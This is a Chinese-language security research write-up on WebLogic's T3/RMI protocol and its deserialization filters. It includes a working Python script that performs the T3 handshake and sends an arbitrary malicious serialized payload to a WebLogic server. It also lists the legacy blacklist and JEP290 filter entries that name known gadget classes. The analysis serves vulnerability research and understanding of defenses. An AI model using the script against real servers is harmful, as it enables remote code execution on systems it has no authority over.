How to Implement WebLogic RMI
首先构造 rmi 服务端,以便观察数据包
根据官方文档,直接生成 jar 包
将生成的jar包放到测试domain的lib目录下
将目标server
类配置为启动类
重启 weblogic 后即可进行调用
流量解析
红色部分为 request
蓝色部分为 response
P.S. 此节当时用了12.1.3.0.0版本,本文其他内容均为12.2.1.4.0版本
通过ac ed 00 05
筛选出请求反序列化部分依次为
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.JVMID
weblogic.rjvm.JVMID
---
weblogic.rjvm.ClassTableEntry
weblogic.rjvm.ImmutableServiceContext
---
weblogic.rjvm.ImmutableServiceContext
T3 协议利用
根据数据包请求内容,我们主体需要分为两部分进行发送
握手🤝
t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n
序列化数据
这里涉及两种方式,实际上也算是同一种
将上面提到的序列化部分其中一项改为恶意 payload
取消所有序列化部分,在下面数据后直接拼接恶意 payload
000005fe016501ffffffffffffffff000000710000ea60000000184f0fb5416958bf21f2810099d59af6a410012655b1f4c837027973720078720178720278700000000c00000002000000000000000400000001007070707070700000000c00000002000000000000000400000001007006fe010000
最简单的情况当然是后者,下面是利用脚本,注意头 4 字节为数据总长度
import socket
import struct
import sys
def send(ip, port, file):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
server = (ip, port)
sock.connect(server)
# Handshake
handshake = b"t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://10.211.55.20:7001\nLP:DOMAIN\n\n"
print("[>] Sending: %s" % handshake)
sock.sendall(handshake)
# Receive
message = sock.recv(1024)
print("[<] Receive: %s" % message)
# Send Payload
Obj = open(file, 'rb').read()
payload = b"\x00\x00\x05\xfe\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x0f\xeb\x30\x46\x27\x2d\x8c\xc7\x52\x16\xbb\xd1\x9e\x42\x00\xdc\x6a\x8e\x80\xbe\xbb\x7e\xd5\xbe\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00"
payload += Obj
payload = struct.pack(">I", len(payload)) + payload[4:]
# print("[*] Sending Payload: %s" % payload)
print("[>] Sending Payload ...")
sock.sendall(payload)
# Receive
message = sock.recv(1024)
print("[<] Receive: %s" % message)
except Exception as e:
print("[!] Error: %s" % e)
if __name__ == '__main__':
if len(sys.argv) < 4:
print("Usage: python t3protocol.py 127.0.0.1 7001 payload.bin")
exit()
send(sys.argv[1], int(sys.argv[2]), sys.argv[3])
T3 解析过程
为了下断点,先将 src.zip 加入到 Classpath 中
readObject:71, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:73, InboundMsgAbbrev (weblogic.rjvm)
read:45, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:325, MsgAbbrevJVMConnection (weblogic.rjvm)
init:219, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:557, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:666, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:397, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:993, SocketMuxer (weblogic.socket)
readReadySocket:929, SocketMuxer (weblogic.socket)
process:599, NIOSocketMuxer (weblogic.socket)
processSockets:563, NIOSocketMuxer (weblogic.socket)
run:30, SocketReaderRequest (weblogic.socket)
execute:43, SocketReaderRequest (weblogic.socket)
execute:147, ExecuteThread (weblogic.kernel)
run:119, ExecuteThread (weblogic.kernel)
具体过程可见https://www.anquanke.com/post/id/201432#h2-3
不再赘述
过滤机制
JEP290
JEP290主要描述了这么几个机制:
- 提供一个限制反序列化类的机制,白名单或者黑名单
- 限制反序列化的深度和复杂度
- 为RMI远程调用对象提供了一个验证类的机制
- 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
1. filterCheck in JDK
我们通过在8u151版本下实现RMI,并尝试用cc3反序列化来查看机制如何进行过滤
跟入 checkInput,serialFilter为sun.rmi.registry.RegistryImpl
对象,所以实际进入到rt.jar!sun.rmi.registry.RegistryImpl#registryFilter
进行过滤
可以看到对深度、数组大小和基本类型做了判断
以及最后的这段
String.class != var2
&& !Number.class.isAssignableFrom(var2)
&& !Remote.class.isAssignableFrom(var2)
&& !Proxy.class.isAssignableFrom(var2)
&& !UnicastRef.class.isAssignableFrom(var2)
&& !RMIClientSocketFactory.class.isAssignableFrom(var2)
&& !RMIServerSocketFactory.class.isAssignableFrom(var2)
&& !ActivationID.class.isAssignableFrom(var2)
&& !UID.class.isAssignableFrom(var2)
? Status.REJECTED : Status.ALLOWED;
直接禁用了sun.reflect.annotation.AnnotationInvocationHandler
,所以返回了Status.REJECTED
“JSON反序列化之殇_看雪安全开发者峰会”的时序图
2. Weblogic without JEP290
通过上面在 JDK 中的抵用栈信息,可以看到在 weblogic 中是通过weblogic.rjvm.InboundMsgAbbrev#readObject
进入的java.io.ObjectInputStream
我们跟进ServerChannelInputStream看一下
再看一下ServerChannelInputStream
的继承关系
即ServerChannelInputStream
继承自FilteringObjectInputStream,并通过重写resolveClass、resolveProxyClass从而进行反序列化过滤防御
我们跟进checkLegacyBlacklistIfNeeded看一下,到这weblogic.utils.io.oif.WebLogicObjectInputFilter#checkLegacyBlacklistIfNeeded
会根据是否支持JEP290自带过滤,在不可用情况下会使用isBlacklistedLegacy
进行防御
至于哪里调用JEP290过滤先放一边,我们先看下isBlacklistedLegacy
如果类名第一个字符为[
(数组),或为primitiveTypes中的某项,就不会进行检测
之后会检查类型类名、包名是否在LEGACY_BLACKLIST中,有一项不符即回到上面抛出异常
我们看看LEGACY_BLACKLIST是怎么来的
跟进weblogic.utils.io.oif.WebLogicFilterConfig
可以发现 BLACKLIST 取决于constructLegacyBlacklist方法,考虑上下文追溯至processLegacyBlacklistProperties
,因为我们考虑的是不支持 JEP290 的情况,所以进入到最后的 else 分支中
所以 BLACKLIST 来源主要来自以下三处
private static final String[] DEFAULT_BLACKLIST_PACKAGES = new String[]{"org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server", "org.jboss.interceptor.builder", "org.jboss.interceptor.reader", "org.jboss.interceptor.proxy", "org.jboss.interceptor.spi.metadata", "org.jboss.interceptor.spi.model", "com.bea.core.repackaged.springframework.aop.aspectj", "com.bea.core.repackaged.springframework.aop.aspectj.annotation", "com.bea.core.repackaged.springframework.aop.aspectj.autoproxy", "com.bea.core.repackaged.springframework.beans.factory.support", "org.python.core"};
private static final String[] DEFAULT_BLACKLIST_CLASSES = new String[]{"org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler", "com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.RemoteObject"};
System.getProperty("weblogic.rmi.blacklist");
3. JEP290 in Weblogic
回到 JEP290 调用栈,我们知道最后是调用filterCheck进行的过滤
跟入,此时serialFilter为sun.misc.ObjectInputFilter对象(注意 JDK 为8u151)
maxdepth=100;
!org.codehaus.groovy.runtime.ConvertedClosure;
!org.codehaus.groovy.runtime.ConversionHandler;
!org.codehaus.groovy.runtime.MethodClosure;
!org.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.UnicastRemoteObject;
!java.rmi.server.RemoteObjectInvocationHandler;
!com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManager;
!java.rmi.server.RemoteObject;
!org.apache.commons.collections.functors.*;
!com.sun.org.apache.xalan.internal.xsltc.trax.*;
!javassist.*;
!java.rmi.activation.*;
!sun.rmi.server.*;
!org.jboss.interceptor.builder.*;
!org.jboss.interceptor.reader.*;
!org.jboss.interceptor.proxy.*;
!org.jboss.interceptor.spi.metadata.*;
!org.jboss.interceptor.spi.model.*;
!com.bea.core.repackaged.springframework.aop.aspectj.*;
!com.bea.core.repackaged.springframework.aop.aspectj.annotation.*;
!com.bea.core.repackaged.springframework.aop.aspectj.autoproxy.*;
!com.bea.core.repackaged.springframework.beans.factory.support.*;
!org.python.core.*
看上面过滤的类是不是很熟悉,实际也是weblogic.utils.io.oif.WebLogicFilterConfig
生成的 filter
跟入sun.misc.ObjectInputFilter.Config.Global#checkInput
,整体代码和registryFilter中的类似,红框处是进行serialFilter黑名单匹配
这里用到了 Function<T, U> 接口和 lambda 语法
下面是 filter 通过生解析生成过程,需要在 weblogic 启动时下断点观察,传入的值和serialFilter是一致的
如果返回 null 或者 REJECTED 都会抛出异常结束反序列化流程